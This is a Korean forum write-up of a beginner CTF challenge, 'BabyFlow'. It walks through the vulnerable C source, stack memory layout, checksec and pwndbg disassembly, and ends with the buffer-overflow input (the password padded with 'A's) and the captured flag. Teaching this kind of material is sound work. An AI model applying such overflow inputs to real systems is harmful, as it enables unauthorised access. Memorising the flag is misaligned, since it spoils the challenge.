[Write Up] Crypto Cat's CTF 2024 - BabyFlow

 1603, 1/81 회원가입  로그인  
   해킹잘하고싶다
   http://없음
   [Write Up] Crypto Cat's CTF 2024 - BabyFlow

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=8592 [복사]


#include <stdio.h>
#include <string.h>

int main(void)
{
    char password[32];
    int admin = 0;

    printf("Enter password: ");
    fgets(password,50,stdin);

    if(strncmp(password, "SuPeRsEcUrEPaSsWoRd123", strlen("SuPeRsEcUrEPaSsWoRd123")) == 0)
    {
        printf("Correct Password!\n");
    }
    else
    {
        printf("Incorrect Password!\n");
        return 0;
    }

    if(admin)
    {
        printf("INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}\n");
    }else{
        printf("Are you sure you are admin? o.O\n");
    }

    return 0;
}
========================================================
소스를 보니 별로 어렵지 않는 문제라고 판단되었다. (몸풀기 문제라서 그런가?)
checksec로 ctf파일을 보니 스택 카나리도 없었다.
보통 상식적으로 생각해보자면 C코드에서 지역변수가 위에서 아래로 내려올 때
스택 메모리의 높은 주소에서 낮은 주소로 push되면서 쌓이게 된다.
하지만 컴파일러에 따라 지역변수의 위에서 아래로 내려올 때
반드시 스택 메모리의 높은 주소에서 낮은 주소로 할당된다는 보장은
어디에도 없단 걸 명심해야 된다.


[       커널 영역       ]    높은 주소
[       스택 영역       ]
[  공유 라이브러리  ]
[         힙 영역        ]
[     데이터 영역     ]
[     텍스트 영역     ]     낮은 주소


메모리 공간은(RAM) 크게 코드(Code), 데이터(Data), 스택(Stack), 힙(Heap) 영역으로 나뉜다.

코드(Code) 영역: 실행할 프로그램의 코드
데이터(Data) 영역: 전역 변수, 정적 변수
힙(Heap) 영역: 런타임 시 크기가 결정됨(사용자의 동적 할당)
스택(Stack) 영역: 컴파일 타임에 크기가 결정됨




코드(Code) 영역 (혹은 텍스트 영역)

작성한 소스코드가 저장되는 영역으로 텍스트 영역이라고도 부른다.
기계어 형태(0,1)로 저장한다.
실행 파일을 구성하는 명령어들이 올라가는 메모리 영역으로 함수, 제어문, 상수 등이 여기에 지정된다.
CPU는 코드 영역에 저장된 명령어들을 하나씩 가져가서 실행한다.



데이터(Data) 영역

전역 변수와 정적 변수(static)가 할당되는 영역이다.
메인 함수 전에 선언되어 프로그램의 시작과 동시에 할당되고 프로그램이 종료돼야 메모리가 소멸된다.



힙(Heap) 영역

이 공간에 메모리 할당하는 것을 동적 할당(Dynamic Memory Allocation) 이라고 부른다.
사용자에 의해 메모리 공간이 동적으로 할당되고 해제된다.
응용 프로그램이 종료될 때까지 메모리가 유지되기 때문에 사용하고 난 후 반드시 매모리 해제를 해줘야 한다.(memory leak 발생), Java에서는 가비지 컬렉터가 자동으로 해제한다
영역 중 유일하게 런타임시 크기가 결정
참조형(Reference Type) 데이터 타입을 갖는 객체(인스턴스), 배열 등이 저장되는 공간,
단 힙 영역에 있는 오브젝트들을 가리키는 레퍼런스 변수는 스택에 적재
메모리의 낮은 주소부터 할당되는 선입선출(FIFO) 구조


스택(Stack) 영역

프로그램이 자동으로 사용하는 임시 메모리 영역
함수 호출 시 생성되는 지역 변수와 매개 변수가 저장되는 영역
함수 호출이 완료되면 저장된 메모리도 해제된다
메모리의 높은 주소부터 할당되는 후입선출(LIFO) 구조




스택은 높은 주소에서 낮은 주소로 할당되고
힙은 낮은 주소에서 높은 주소로 할당된다.
그리고 그 사이엔 공유 라이브러리 영역이 존재한다.

근본적으로 왜 그럴까?

스택보다 높은 주소가 커널 영역이다.
하지만 스택이 높은 주소에서 낮은 주소로 할당되면
커널 영역에 침범해지 않는다는 것이다.
또한 힙과 스택은 마주보고 서로를 향해 자라면서도
그 사이에 공유 라이브러리 영역이 있어서
서로 침범하기 힘들겠금 아키텍처가 설계되어 있다.

서론은 여기까지 하고...


일단 문제 파일은 checksec에 의해 확인한 결과
스택 카나리가 발견되지 않았다.

ka0r1@ka0r1-To-Be-Filled-By-O-E-M:~$ checksec --file=ctf
[*] '/home/ka0r1/ctf'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No





문제를 pwndbg로 분석해보겠다.

pwndbg> set disassembly intel
pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000000011a9 <+0>:        endbr64
   0x00000000000011ad <+4>:        push   rbp
   0x00000000000011ae <+5>:        mov    rbp,rsp
   0x00000000000011b1 <+8>:        sub    rsp,0x30
   0x00000000000011b5 <+12>:        mov    DWORD PTR [rbp-0x4],0x0
   0x00000000000011bc <+19>:        lea    rax,[rip+0xe45]        # 0x2008
   0x00000000000011c3 <+26>:        mov    rdi,rax
   0x00000000000011c6 <+29>:        mov    eax,0x0
   0x00000000000011cb <+34>:        call   0x10a0 <printf@plt>
   0x00000000000011d0 <+39>:        mov    rdx,QWORD PTR [rip+0x2e39]        # 0x4010 <stdin@GLIBC_2.2.5>
   0x00000000000011d7 <+46>:        lea    rax,[rbp-0x30]
   0x00000000000011db <+50>:        mov    esi,0x32
   0x00000000000011e0 <+55>:        mov    rdi,rax
   0x00000000000011e3 <+58>:        call   0x10b0 <fgets@plt>
   0x00000000000011e8 <+63>:        lea    rax,[rbp-0x30]
   0x00000000000011ec <+67>:        mov    edx,0x16
   0x00000000000011f1 <+72>:        lea    rcx,[rip+0xe21]        # 0x2019
   0x00000000000011f8 <+79>:        mov    rsi,rcx
   0x00000000000011fb <+82>:        mov    rdi,rax
   0x00000000000011fe <+85>:        call   0x1080 <strncmp@plt>
   0x0000000000001203 <+90>:        test   eax,eax
   0x0000000000001205 <+92>:        jne    0x121e <main+117>
   0x0000000000001207 <+94>:        lea    rax,[rip+0xe22]        # 0x2030
   0x000000000000120e <+101>:        mov    rdi,rax
   0x0000000000001211 <+104>:        call   0x1090 <puts@plt>
   0x0000000000001216 <+109>:        cmp    DWORD PTR [rbp-0x4],0x0
   0x000000000000121a <+113>:        je     0x1245 <main+156>
   0x000000000000121c <+115>:        jmp    0x1234 <main+139>
   0x000000000000121e <+117>:        lea    rax,[rip+0xe1d]        # 0x2042
   0x0000000000001225 <+124>:        mov    rdi,rax
   0x0000000000001228 <+127>:        call   0x1090 <puts@plt>
   0x000000000000122d <+132>:        mov    eax,0x0
   0x0000000000001232 <+137>:        jmp    0x1259 <main+176>
   0x0000000000001234 <+139>:        lea    rax,[rip+0xe1d]        # 0x2058
   0x000000000000123b <+146>:        mov    rdi,rax
   0x000000000000123e <+149>:        call   0x1090 <puts@plt>
   0x0000000000001243 <+154>:        jmp    0x1254 <main+171>
   0x0000000000001245 <+156>:        lea    rax,[rip+0xe44]        # 0x2090
   0x000000000000124c <+163>:        mov    rdi,rax
   0x000000000000124f <+166>:        call   0x1090 <puts@plt>
   0x0000000000001254 <+171>:        mov    eax,0x0
   0x0000000000001259 <+176>:        leave
   0x000000000000125a <+177>:        ret


여기서 password[32]가 admin을 덮어씌워질 수 있다는 어셈블리 코드를 분석하면서
어떻게 알 수 있을까? 그건 아래와 같다.

0x00000000000011ae <+5>:   mov    rbp,rsp
0x00000000000011b1 <+8>:   sub    rsp,0x30        ; 스택 공간 0x30만큼 할당
0x00000000000011b5 <+12>:  mov    DWORD PTR [rbp-0x4],0x0   ; admin 초기화
0x00000000000011d7 <+46>:  lea    rax,[rbp-0x30]  ; password 버퍼 시작 위치






$./ctf
Enter password: SuPeRsEcUrEPaSsWoRd123AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Correct Password!
INTIGRITI{b4bypwn_9cdfb439c7876e703e307864c9167a15}























- 끝 -

  Hit : 546     Date : 2024/12/29 01:18



    
     [공지] 강좌를 올리실 때는 말머리를 달아주세요^ㅡ^ [29] 멍멍 02/27 19875
1602   해커스쿨 만화의 자동으로 스캔하는 프로그램     해킹잘하고싶다
02/18 317
1601   시스템 콜 추적 확장판[2]     해킹잘하고싶다
01/19 493
1600   간단한 시스템 콜 추적 프로그램 만들기     해킹잘하고싶다
01/18 490
1599   [overthewire.org] - leviathan1     해킹잘하고싶다
01/14 790
1598   [overthewire.org] - leviathan0     해킹잘하고싶다
01/14 526
  [Write Up] Crypto Cat's CTF 2024 - BabyFlow     해킹잘하고싶다
12/29 545
1596   [pwnable.kr] bof     해킹잘하고싶다
12/25 531
1595   [pwnable.kr] Shellshock[1]     해킹잘하고싶다
11/23 642
1594   Shellshock의 기본 요약     해킹잘하고싶다
11/23 622
1593   [pwnable.kr] fd     해킹잘하고싶다
11/23 626
1592   VPN이 연결되었다가 도중에 꺼도 웹 브라우저상에서 유지되는 이유     해킹잘하고싶다
11/22 581
1591   해커들이 해킹시 사용하는 디렉토리 공간[1]     해킹잘하고싶다
11/22 663
1590   Keyboard Hooking -part2 - (Python3 ver)     해킹잘하고싶다
11/20 614
1589   [Windows API] Keyboard Hooking     해킹잘하고싶다
11/20 435
1588   [pwnable.kr] cmd1 공략     해킹잘하고싶다
10/23 592
1587   netdiscover 파이썬으로 구현하기     해킹잘하고싶다
08/13 825
1586   파이썬을 이용한 심플 웹 크롤러     해킹잘하고싶다
08/13 696
1585   파이썬 random모듈을 이용한 숫자맞추기 게임 구현     해킹잘하고싶다
05/30 1271
1584   파이썬 채팅 프로그램 구현     해킹잘하고싶다
05/28 1199
1 [2][3][4][5][6][7][8][9][10]..[81]

Copyright 1999-2025 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org